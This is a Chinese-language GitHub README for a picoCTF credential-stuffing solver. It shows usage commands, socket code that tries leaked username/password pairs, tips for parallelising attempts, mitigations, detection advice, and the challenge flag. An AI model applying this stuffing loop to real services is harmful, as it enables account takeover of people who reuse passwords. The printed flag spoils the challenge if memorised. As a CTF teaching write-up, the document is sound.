6876h9/picoctf-credential-stuffing

GitHub: 6876h9/picoctf-credential-stuffing

一个专为picoCTF凭证填充挑战设计的Python自动化利用框架,用于演示和分析凭证重用攻击。

Stars: 0 | Forks: 0

# picoCTF:凭证填充攻击 **类别:** Web安全利用 | **难度:** 中等 | **解决数:** 2,032+ ## 挑战概述 凭证填充是当今最常见的现实攻击向量之一。本挑战演示了来自一个服务的泄露凭证如何被武器化,用于非法访问其他账户。 ### 问题陈述 ### 学习目标 - 理解凭证重用的风险 - 实现自动化认证测试 - 使用套接字编程处理网络输入/输出 - 管理速率限制和连接超时 - 从响应中提取和解析Flag数据 ## 技术细节 ### 攻击向量 该漏洞利用使用了**凭证填充**——系统性地使用窃取的用户名/密码组合尝试认证,直到找到有效的配对。 - 自动化暴力破解方法 - 无加密组件 - 依赖用户行为(密码重用) - 需要有效的凭证对才能成功 ### 为何此攻击有效 1. 用户在多个账户中重复使用凭证 2. 数据库泄露暴露了明文或易破解的密码 3. 服务通常缺乏适当的速率限制 4. 泄露的规模使得找到有效凭证在统计上成为可能 ## 仓库结构 ``` picoctf-credential-stuffing/ ├── src/ │ ├── exploit.py # Main solution script │ └── simple_solution.py # Minimal working example ├── docs/ │ ├── WRITEUP.md # Detailed solution walkthrough │ └── SECURITY_NOTES.md # Security implications ├── screenshots/ │ ├── challenge_description.png │ └── flag_capture.png ├── README.md # This file ├── requirements.txt # Python dependencies └── .gitignore ``` ## 安装与设置 ### 前置条件 - Python 3.8+ - 到目标服务的网络连接 - 有效的凭证转储文件 ### 快速开始 ``` # 克隆仓库 git clone https://github.com/6876h9/picoctf-credential-stuffing.git cd picoctf-credential-stuffing # 安装依赖(可选,脚本无外部依赖) pip install -r requirements.txt # 准备凭据转储文件 # 将你的 pico.txt 或 creds.txt 文件放置于根目录 ``` ### 运行漏洞利用程序 ``` # 基础用法 python src/exploit.py -c pico.txt -H crystal-peak.picoctf.net -p 62474 # 自定义参数模式 python src/exploit.py \ --credentials pico.txt \ --host crystal-peak.picoctf.net \ --port 62474 \ --delay 0.5 \ --timeout 5 # 静默模式(减少输出) python src/exploit.py -c pico.txt -H crystal-peak.picoctf.net -p 62474 -q ``` ### 命令行选项 | 选项 | 缩写 | 类型 | 默认值 | 描述 | |--------|-------|------|---------|-------------| | `--credentials` | `-c` | str | 必需 | 凭证转储文件路径 | | `--host` | `-H` | str | 必需 | 目标主机名/IP | | `--port` | `-p` | int | 必需 | 目标服务端口 | | `--timeout` | `-t` | int | 5 | 套接字超时(秒) | | `--delay` | `-d` | float | 0.5 | 尝试间隔延迟(秒) | | `--quiet` | `-q` | 标志 | False | 抑制详细输出 | ## 解题思路详解 ### 期望的凭证格式 凭证转储文件应遵循以下格式: ``` username1;password1 username2;password2 username3;password3 ... ``` ### 攻击流程 1. **加载凭证** - 解析凭证转储文件 2. **初始化连接** - 建立到目标服务的套接字 3. **遍历凭证** - 对于每个用户名/密码对: - 连接到服务 - 发送用户名 - 接收密码提示 - 发送密码 - 检查响应中是否包含Flag 4. **提取Flag** - 发现后捕获并显示Flag ### 预期输出 ``` Loaded 1500 credential pairs Connecting to crystal-peak.picoctf.net:62474 Starting credential stuffing attack... [1/1500] Trying evangelo:champ [2/1500] Trying jaylon:martins ... [540/1500] Trying ryleigh:wapapapa ============================================================ SUCCESS! Found valid credentials at attempt 540/1500 ============================================================ Username: ryleigh Password: wapapapa Server Response: wapapapa Authenticating... Welcome ryleigh! picoCTF{d0nt_r3u5e_cr3d3nt1als_433b090c} ============================================================ ``` ## 挑战截图 ### 挑战描述 ![挑战描述](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/060bcc839c052212.png) ### 成功捕获Flag ![Flag捕获](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/8ba22caaca052212.png) ## 安全影响 ### 现实影响 凭证填充攻击会导致: - **跨多个服务的账户接管** - **个人/财务信息的数据泄露** - **身份盗窃**和欺诈 - **受影响组织声誉受损** ### 缓解策略 **对于用户:** - 为每个账户使用唯一、强密码 - 启用多因素认证(MFA) - 监控账户是否有可疑活动 - 使用密码管理器 **对于组织:** - 实施严格的速率限制 - 强制执行密码策略(复杂性、有效期) - 部署MFA/2FA - 监控异常的登录模式 - 使用验证码挑战 - 在N次失败尝试后实施账户锁定 - 记录可疑活动并发出警报 - 建立泄露通知和密码重置流程 ### 检测方法 - 异常的登录速度(来自同一IP的多次尝试) - 来自地理位置异常的登录 - 失败登录次数激增 - 成功登录后随之进行的账户更改 - API请求模式与人类行为不一致 ## 关键代码片段 ### 套接字通信 ``` sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect((self.host, self.port)) # 读取服务器提示 sock.recv(1024) # 发送凭据 sock.send((username + "\n").encode()) sock.recv(1024) sock.send((password + "\n").encode()) # 获取响应 response = sock.recv(4096).decode(errors="ignore") ``` ### 凭证解析 ``` with open(filepath, encoding="utf-8", errors="ignore") as f: for line in f: if ";" not in line: continue username, password = line.strip().split(";", 1) self.credentials.append((username, password)) ``` ## 性能考量 - **延迟参数**:根据服务器的容忍度设置。太快会导致连接错误。 - **超时值**:如果目标服务器距离远或连接慢,请增加此值。 - **批量处理**:对于大型凭证集,考虑使用并行工作线程(线程/异步)。 - **内存使用**:将整个凭证列表加载到内存中。 ### 优化技巧 1. **并行执行** - 使用 `ThreadPoolExecutor` 进行并发尝试。 2. **连接池** - 如果服务支持,重用套接字连接。 3. **提前退出** - 找到Flag后立即停止。 4. **批量请求** - 分组凭证以更高效地使用网络。 ## 故障排除 ### 连接被拒绝 ``` Connection refused by crystal-peak.picoctf.net:62474 ``` **解决方案:** 验证主机/端口是否正确。检查服务是否正在运行并接受连接。 ### 超时错误 ``` socket.timeout: timed out ``` **解决方案:** 增加 `--timeout` 值或检查网络连接。 ### 未找到有效凭证 - 验证凭证文件格式(username;password) - 确认文件已加载(`-c` 路径正确) - 检查目标服务是否确实在运行 - 验证凭证是否尚未过期 ### 权限被拒绝 ``` FileNotFoundError: Credentials file not found ``` **解决方案:** 使用绝对路径或验证文件存在于当前目录中。 ## 历史背景 凭证填充攻击导致了重大数据泄露: - **Equifax (2017)** - 1.47亿条记录暴露,引发了大规模的凭证填充活动。 - **Yahoo (2013-2014)** - 30亿账户被入侵,遭受了数年的凭证重用攻击。 - **LinkedIn (2012)** - 650万密码泄露,并用于后续攻击。 本挑战在演示攻击方法的同时,教授防御意识。 ## 参考资料与资源 ### OWASP资源 - [OWASP - 凭证填充](https://owasp.org/www-community/attacks/Credential_stuffing) - [OWASP 认证备忘单](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) ### 行业文章 - CrowdStrike - 凭证填充:新常态 - Akamai - 互联网状态报告:凭证滥用 - Gartner - 管理来自泄露凭证的风险 ### 相关CTF挑战 - picoCTF: Fool the Lockout(绕过速率限制) - picoCTF: Crack the Gate(凭证枚举) - picoCTF: Local Authority(客户端绕过) ## 贡献 发现改进建议?有更好的方法?欢迎提交问题和拉取请求。 ## 免责声明 本代码仅供教育目的使用。仅可用于您拥有或获得明确测试许可的系统。未经授权访问计算机系统是非法的。 ## 作者 picoCTF的挑战解题笔记与漏洞利用框架。 GitHub: [@6876h9](https://github.com/6876h9) ## 许可证 MIT许可证 - 详情请参阅LICENSE文件 **最后更新:** 2026年5月 **挑战状态:** 已解决 ✓ **Flag:** `picoCTF{d0nt_r3u5e_cr3d3nt1als_433b090c}`
标签:CTF挑战, picoCTF, PoC, Python编程, Socket编程, Web安全, Web漏洞利用, 凭据 stuffing, 数字取证, 数据解析, 暴力破解, 漏洞利用文档, 网络安全, 网络编程, 自动化脚本, 蓝队分析, 认证测试, 逆向工具, 隐私保护